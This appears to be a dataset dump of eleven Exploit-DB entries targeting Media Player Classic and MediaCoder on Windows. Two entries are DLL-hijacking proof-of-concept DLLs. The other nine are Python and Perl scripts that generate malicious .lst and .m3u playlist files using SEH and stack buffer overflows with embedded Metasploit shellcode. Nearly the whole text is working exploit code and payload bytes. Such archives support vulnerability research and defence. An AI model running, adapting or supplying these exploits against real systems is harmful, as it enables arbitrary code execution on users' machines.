deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14765
Description: Media Player Classic 1.3.2189.0 - 'iacenc.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Encrypt3d.M!nd

Exploit:
/*
Mediaplayer Classic 1.3.2189.0 Dll Hijack Exploit
By: Encrypt3d.M!nd
Date: 25\8\2010
Download: http://mpc-hc.sourceforge.net/

Details:
Compile the following code and rename it to iacenc.dll
and place file with one of the affected types in the same directory of the dll

Affected types: m2ts, m2t, flv, hdmov, 3gpp,3gp, mpeg, mp4v, mkv, m2v,rm , ram
(i guess all file types that mpc supports are affected)

Code :(used the one from this advisory:http://www.exploit-db.com/exploits/14758/):
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14765.zip (mpc-poc.zip)
Exploit-DB #14788
Description: Media Player Classic 6.4.9.1 - 'iacenc.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: LiquidWorm

Exploit:
/*

 Media Player Classic 6.4.9.1 (iacenc.dll) DLL Hijacking Exploit

 Vendor: Gabest
 Product Web Page: http://sourceforge.net/projects/guliverkli
 Affected Version: 6.4.9.1 (revision 73)

 Summary: Media Player Classic (MPC) is a compact media player for
 32-bit Microsoft Windows. The application mimics the look and feel
 of the old, lightweight Windows Media Player 6.4 but integrates
 most options and features found in modern media players. It and
 its forks are standard media players in the K-Lite Codec Pack and
 the Combined Community Codec Pack.

 Desc: Media Player Classic suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local
 level. The vulnerable extensions are .mka, .ra and .ram thru iacenc.dll
 library.

 ----
 gcc -shared -o iacenc.dll mplayerc.c

 Compile and rename to iacenc.dll, create a file test.mka or any of the
 above vulnerable extensions and put both files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
Exploit-DB #26402
Description: Mediacoder (.lst) - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2013-06-24
Author: metacom

Exploit:
#!/usr/bin/python
import os
import sys
from struct import pack
from time import sleep
  
if os.name == "nt":
    os.system("cls")
    os.system("color 3f")
    
else:
    os.system("clear")


print """
 [+]Exploit Title: All Mediacoder Product SEH Buffer Overflow
 [+]Download All Product: http://www.mediacoderhq.com/editions.html
 [+]Vulnerable Product:!
 [+]Mediacoder 0.8.22.5525
 [+]Mediacoder Web Video Edition 0.8.22
 [+]Mediacoder Handsets Edition 0.8.22
 [+]Mediacoder iPhone Edition 0.8.22
 [+]MediaCoder-PSP Edition 0.8.22
 [+]Vulnerabilities File Format:lst
 [+]Date (found): 21.06.2013
 [+]Date (publish): 21.06.2013
 [+]Founder: metacom
 [+]RST 
 [+]Tested on: Windows Xp pro-sp3 English
 """

buffer = "http://" + "\x41" * 845
nseh = "\xEB\x06\xFF\xFF"
seh= pack('<I',0x66012E63)# 66012E63 POP EBX libiconv-2.dll
nops= "\x90" * 80
#msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x5c' -t c
shell= ("\xbf\x8e\xa0\x35\xac\xda\xda\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x33\x83\xc3\x04\x31\x7b\x0e\x03\xf5\xae\xd7\x59\xf5\x47\x9e"
"\xa2\x05\x98\xc1\x2b\xe0\xa9\xd3\x48\x61\x9b\xe3\x1b\x27\x10"
"\x8f\x4e\xd3\xa3\xfd\x46\xd4\x04\x4b\xb1\xdb\x95\x7d\x7d\xb7"
"\x56\x1f\x01\xc5\x8a\xff\x38\x06\xdf\xfe\x7d\x7a\x10\x52\xd5"
"\xf1\x83\x43\x52\x47\x18\x65\xb4\xcc\x20\x1d\xb1\x12\xd4\x97"
"\xb8\x42\x45\xa3\xf3\x7a\xed\xeb\x23\x7b\x22\xe8\x18\x32\x4f"
"\xdb\xeb\xc5\x99\x15\x13\xf4\xe5\xfa\x2a\x39\xe8\x03\x6a\xfd"
"\x13\x76\x80\xfe\xae\x81\x53\x7d\x75\x07\x46\x25\xfe\xbf\xa2"
"\xd4\xd3\x26\x20\xda\x98\x2d\x6e\xfe\x1f\xe1\x04\xfa\x94\x04"
"\xcb\x8b\xef\x22\xcf\xd0\xb4\x4b\x56\xbc\x1b\x73\x88\x18\xc3"
"\xd1\xc2\x8a\x10\x63\x89\xc0\xe7\xe1\xb7\xad\xe8\xf9\xb7\x9d"
"\x80\xc8\x3c\x72\xd6\xd4\x96\x37\x28\x9f\xbb\x11\xa1\x46\x2e"
"\x20\xac\x78\x84\x66\xc9\xfa\x2d\x16\x2e\xe2\x47\x13\x6a\xa4"
"\xb4\x69\xe3\x41\xbb\xde\x04\x40\xd8\x81\x96\x08\x31\x24\x1f"
"\xaa\x4d")
exploit = buffer + nseh + seh + nops + shell
 
try:
    rst= open("All-MediaCoder.lst",'w')
    rst.write(exploit)
    rst.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"
Exploit-DB #26403
Description: Mediacoder - '.m3u' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2013-06-24
Author: metacom

Exploit:
#!/usr/bin/python
import os
import sys
from struct import pack
from time import sleep
  
if os.name == "nt":
    os.system("cls")
    os.system("color 3f")
    
else:
    os.system("clear")


print """
 [+]Exploit Title: All Mediacoder Product SEH Buffer Overflow
 [+]Download All Product: http://www.mediacoderhq.com/editions.html
 [+]Vulnerable Product:!
 [+]Mediacoder 0.8.22.5525
 [+]Mediacoder Web Video Edition 0.8.22
 [+]Mediacoder Handsets Edition 0.8.22
 [+]Mediacoder iPhone Edition 0.8.22
 [+]MediaCoder-PSP Edition 0.8.22
 [+]Vulnerabilities File Format:m3u
 [+]Date (found): 21.06.2013
 [+]Date (publish): 21.06.2013
 [+]Founder: metacom
 [+]RST 
 [+]Tested on: Windows Xp pro-sp3 English
 """

buffer = "http://" + "\x41" * 845
nseh = "\xEB\x06\xFF\xFF"
seh= pack('<I',0x66012E63)# 66012E63 POP EBX libiconv-2.dll
nops= "\x90" * 80
#msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x5c' -t c
shell= ("\xbf\x8e\xa0\x35\xac\xda\xda\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x33\x83\xc3\x04\x31\x7b\x0e\x03\xf5\xae\xd7\x59\xf5\x47\x9e"
"\xa2\x05\x98\xc1\x2b\xe0\xa9\xd3\x48\x61\x9b\xe3\x1b\x27\x10"
"\x8f\x4e\xd3\xa3\xfd\x46\xd4\x04\x4b\xb1\xdb\x95\x7d\x7d\xb7"
"\x56\x1f\x01\xc5\x8a\xff\x38\x06\xdf\xfe\x7d\x7a\x10\x52\xd5"
"\xf1\x83\x43\x52\x47\x18\x65\xb4\xcc\x20\x1d\xb1\x12\xd4\x97"
"\xb8\x42\x45\xa3\xf3\x7a\xed\xeb\x23\x7b\x22\xe8\x18\x32\x4f"
"\xdb\xeb\xc5\x99\x15\x13\xf4\xe5\xfa\x2a\x39\xe8\x03\x6a\xfd"
"\x13\x76\x80\xfe\xae\x81\x53\x7d\x75\x07\x46\x25\xfe\xbf\xa2"
"\xd4\xd3\x26\x20\xda\x98\x2d\x6e\xfe\x1f\xe1\x04\xfa\x94\x04"
"\xcb\x8b\xef\x22\xcf\xd0\xb4\x4b\x56\xbc\x1b\x73\x88\x18\xc3"
"\xd1\xc2\x8a\x10\x63\x89\xc0\xe7\xe1\xb7\xad\xe8\xf9\xb7\x9d"
"\x80\xc8\x3c\x72\xd6\xd4\x96\x37\x28\x9f\xbb\x11\xa1\x46\x2e"
"\x20\xac\x78\x84\x66\xc9\xfa\x2d\x16\x2e\xe2\x47\x13\x6a\xa4"
"\xb4\x69\xe3\x41\xbb\xde\x04\x40\xd8\x81\x96\x08\x31\x24\x1f"
"\xaa\x4d")
exploit = buffer + nseh + seh + nops + shell
 
try:
    rst= open("All-MediaCoder.m3u",'w')
    rst.write(exploit)
    rst.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"
Exploit-DB #9343
Description: Mediacoder 0.6.2.4275 - '.lst' Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2009-08-03
Author: SkuLL-HackeR

Exploit:
#!/usr/bin/perl
# MediaCoder 0.6.2.4275 .lst Stack Based Overflow > # Discovered by :[ SKULL-HACKER ]
my $header = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0A\x46\x69\x6C\x65\x31\x3D";
my $junk  = "\x41" x 254;
my $ret   = "\x93\x43\x92\x7c"; #
my $nop   = "\x90" x 25;
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
my $calc_shell =
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
    "\x42\x50\x42\x50\x42\x30\x4b\x48\x45\x34\x4e\x43\x4b\x38\x4e\x47".
    "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48".
    "\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x53\x4b\x48".
    "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
    "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e".
    "\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38".
    "\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54".
    "\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58".
    "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43".
    "\x42\x4c\x46\x36\x4b\x58\x42\x34\x42\x33\x45\x48\x42\x4c\x4a\x57".
    "\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x41\x4d\x4a".
    "\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b".
    "\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x45\x41\x33".
    "\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x47".
    "\x42\x55\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x36\x4a\x39".
    "\x50\x4f\x4c\x38\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x36".
    "\x4e\x56\x43\x36\x50\x32\x45\x36\x4a\x57\x45\x56\x42\x30\x5a";
 
print $header.$junk.$ret.$nop.$calc_shell.$nop;
 
# > ## Author :
# > SkuLL-HacKeR  
# > [Â»] Home : WwW.Sec-ArT.CoM/cc
# > <http://www.Sec-ArT.CoM/cc>  
# > [Â»] GreetZ : ~~>: hack4love - ASER ELRO7 - str0ke : ,
# > milw0rm.com  
# > [Â»] Special Thx : Of all Moroccans : Simo-soft - djekmani4ever - jadi
# > chel7 ]  
# > [Â»] Contact MSN: Wizard-skh[at]HoTmaiL[Dot]CoM /
# > SkuLL--HacKeR[at]hotmail.CoM
 
 
# > | Sec-ArT.com :) _/
 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #  

# milw0rm.com [2009-08-03]
Exploit-DB #9354
Description: Mediacoder 0.7.1.4486 - '.lst' Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-08-04
Author: germaya_x

Exploit:
#!/usr/bin/perl
#[+] Bug : MediaCoder 0.7.1.4486 (.lst) Universal Buffer overflow (SEH)
#[+] Author : germaya_x
#[+] Greetz : hack4love
#[+] tested on: sp3 (EN)
##########################################################
 
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".
"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".
"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".
"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".
"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".
"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".
"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".
"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".
"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".
"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";

my $junk="\x41" x 768;
my $next_seh="\x87\x51\x37\x00"; # jmp esp in sdl.dll
my $seh="\x31\x66\x66\x31"; # pop pop ret->mediacoder.exe

open(myfile,'>>exploit.lst');
print myfile $junk.$next_seh.$seh.$shellcode;

# milw0rm.com [2009-08-04]
Exploit-DB #9409
Description: Mediacoder 0.7.1.4490 - '.lst' / '.m3u' Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-08-10
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# MediaCoder 0.7.1.4490 (.lst & .m3u) Universal Buffer overflow (SEH)
# download :::http://www.mediacoderhq.com
#################################################################################
####Thanks for WwW.Sec-ArT.CoM/cc team ##and 3asfh.net team######################
#################################################################################
my $bof="\x41" x 764;
my $nsh="\xEB\x06\x90\x90";
my $seh="\x26\x59\x01\x66";#C:\Program Files\MediaCoder\libiconv-2.dll#p/p/r #unvi
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.m3u');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-10]
Exploit-DB #12821
Description: Mediacoder 0.7.3.4672 - Local Overflow (SEH)
Type: local
Platform: windows
Date: 2010-05-31
Author: Stoke

Exploit:
#!/usr/bin/python
from sys import argv


##################################################################
# Title: Mediacoder v0.7.3.4672 SEH Exploit
# Author: Stoke from devilc0de crew
# http://hack2web.altervista.org
# http://devilc0de.altervista.org
# Tested on: Windows XP SP2 ita
##################################################################

shell = ("\x89\xe2\xdb\xcb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x4b\x4c\x4a\x48\x4b\x39\x43\x30\x43\x30\x47\x70\x51\x70\x4f"
"\x79\x49\x75\x46\x51\x49\x42\x42\x44\x4e\x6b\x50\x52\x46\x50"
"\x4e\x6b\x43\x62\x44\x4c\x4e\x6b\x51\x42\x44\x54\x4c\x4b\x51"
"\x62\x44\x68\x46\x6f\x4e\x57\x51\x5a\x51\x36\x44\x71\x49\x6f"
"\x50\x31\x4f\x30\x4e\x4c\x45\x6c\x51\x71\x43\x4c\x43\x32\x46"
"\x4c\x45\x70\x4a\x61\x48\x4f\x46\x6d\x43\x31\x48\x47\x4d\x32"
"\x4a\x50\x42\x72\x46\x37\x4c\x4b\x43\x62\x46\x70\x4e\x6b\x51"
"\x52\x47\x4c\x45\x51\x48\x50\x4c\x4b\x51\x50\x50\x78\x4e\x65"
"\x49\x50\x50\x74\x51\x5a\x43\x31\x48\x50\x42\x70\x4c\x4b\x42"
"\x68\x45\x48\x4c\x4b\x43\x68\x45\x70\x46\x61\x48\x53\x4d\x33"
"\x45\x6c\x51\x59\x4e\x6b\x46\x54\x4e\x6b\x43\x31\x49\x46\x45"
"\x61\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x4f\x31\x48\x4f\x44\x4d"
"\x46\x61\x4a\x67\x50\x38\x4d\x30\x42\x55\x49\x64\x46\x63\x51"
"\x6d\x4a\x58\x47\x4b\x51\x6d\x51\x34\x51\x65\x49\x72\x43\x68"
"\x4c\x4b\x42\x78\x51\x34\x46\x61\x4e\x33\x51\x76\x4e\x6b\x46"
"\x6c\x50\x4b\x4e\x6b\x43\x68\x47\x6c\x47\x71\x4e\x33\x4c\x4b"
"\x47\x74\x4c\x4b\x45\x51\x48\x50\x4d\x59\x43\x74\x47\x54\x51"
"\x34\x43\x6b\x43\x6b\x43\x51\x46\x39\x42\x7a\x50\x51\x4b\x4f"
"\x4b\x50\x43\x68\x51\x4f\x43\x6a\x4e\x6b\x45\x42\x48\x6b\x4e"
"\x66\x51\x4d\x51\x7a\x45\x51\x4e\x6d\x4e\x65\x48\x39\x43\x30"
"\x47\x70\x45\x50\x46\x30\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4f"
"\x77\x4b\x4f\x49\x45\x4f\x4b\x48\x70\x48\x35\x4e\x42\x50\x56"
"\x50\x68\x4e\x46\x4a\x35\x4d\x6d\x4d\x4d\x4b\x4f\x4a\x75\x47"
"\x4c\x44\x46\x51\x6c\x46\x6a\x4d\x50\x49\x6b\x4d\x30\x43\x45"
"\x43\x35\x4f\x4b\x43\x77\x47\x63\x51\x62\x50\x6f\x42\x4a\x47"
"\x70\x50\x53\x49\x6f\x4a\x75\x45\x33\x50\x61\x42\x4c\x45\x33"
"\x44\x6e\x51\x75\x51\x68\x45\x35\x43\x30\x47\x7a\x41\x41")

nops = "\x90" * 30
seh = "\xCB\x10\x44\x01"
nseh = "\xeb\x06\x90\x90"
evil = "A"*916 + nseh + seh + nops + shell
if len(argv) != 2:
    print "[+] Usage: ./mediacoder_exploit <filename.m3u>"
    quit()
 
fd = file(argv[1], "w")
print "[+] Writing %s" % (argv[1])
fd.write(evil)
print "[+] Exploit complete"
fd.close()
Exploit-DB #14464
Description: Mediacoder 0.7.3.4682 - '.m3u' Universal Buffer Overflow
Type: local
Platform: windows
Date: 2010-07-24
Author: s-dz

Exploit:
#!/usr/bin/perl 

################################################################### 

#Exploit Title : Mediacoder v0.7.3.4682 (.m3u) File Universal Buffer Overflow Exploit 

#tested on windows xp SP 2 (FR) 

#Date:24/07/2010

#download : http://www.dodownload.com/video+multimedia/play+video/mediacoder.html 

#Author: s-dz [s-dz[at]HotmaiL.fr] 

# Tjrs mahboul-3lik  ;)

################################################################### 

$file= "mahboul-3lik.m3u";


my $junk = "\x41" x 256;


my $eip = pack('V', 0x66086687);# libiconv-2.dll

my $nop ="\x90"x 24;

 # windows/exec 

 # http://www.metasploit.com 

 # EXITFUNC=thread, CMD=calc 

my $sec =

"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . 

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . 

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . 

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" . 

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . 

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . 

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . 

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . 

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . 

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . 

"\x7f\xe8\x7b\xca"; 



open($FILE, ">$file"); 

print($FILE $junk.$eip.$nop.$sec); 

close($FILE); 

print("exploit created successfully");
Exploit-DB #14153
Description: Mediacoder 0.7.3.4682 - Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-07-01
Author: Madjix

Exploit:
###################################################################
#Exploit Title : Mediacoder v0.7.3.4682 universal buffer overflow (SEH)
#tested on windows xp SP 3 FR
#download : http://www.dodownload.com/video+multimedia/play+video/mediacoder.html
#Author: MadjiX [Dz8 HotmaiL cOm]
#Greets:Bibi-info , His0k4 [ where are you :( ]
#Hard luck algeria 2014 nchallah wchoukran lihoum charfouna
###################################################################
my $file= "MadjiX.m3u";
my $junk="\x41" x 764;
my $nseh="\xeb\x06\x90\x90";
my $seh= pack('V',0x66004166);  #libiconv-2.dll
my $nops="\x90" x 24;
#calc
my $shellcode="\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$nseh.$seh.$nops.$shellcode;
close($FILE);
Exploit-DB #14630
Description: Mediacoder 0.7.5.4710 - 'Universal' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-08-12
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

#################################################################
#
# Mediacoder 0.7.5.4710 "Universal" SEH Buffer Overflow Exploit
# Coded By:     Dr_IDE
# Found By:	abhishek lyall
# Usage:        Load the evil .m3u file and click on it.
# Tested On:    Windows XPSP3
#
#################################################################

# windows/exec - 534 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=process, CMD=calc.exe

code = (
"\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b"
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50"
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43"
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b"
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c"
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51"
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51"
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42"
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b"
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45"
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41")

nseh = ("\xEB\x06\xFF\xFF")
retn = ("\xC0\x57\x01\x66")	#"Universal" P/P/R libconv-2.dll
nops = ("\x90" * 12)
buff = ("\x41" * 764)
junk = ("\x44" * (2000-len(buff+nseh+retn+nops+code)))
 
file = open('dr_ide_SEH.m3u' , 'w')
file.write(buff + nseh + retn + nops + code + junk)
file.close()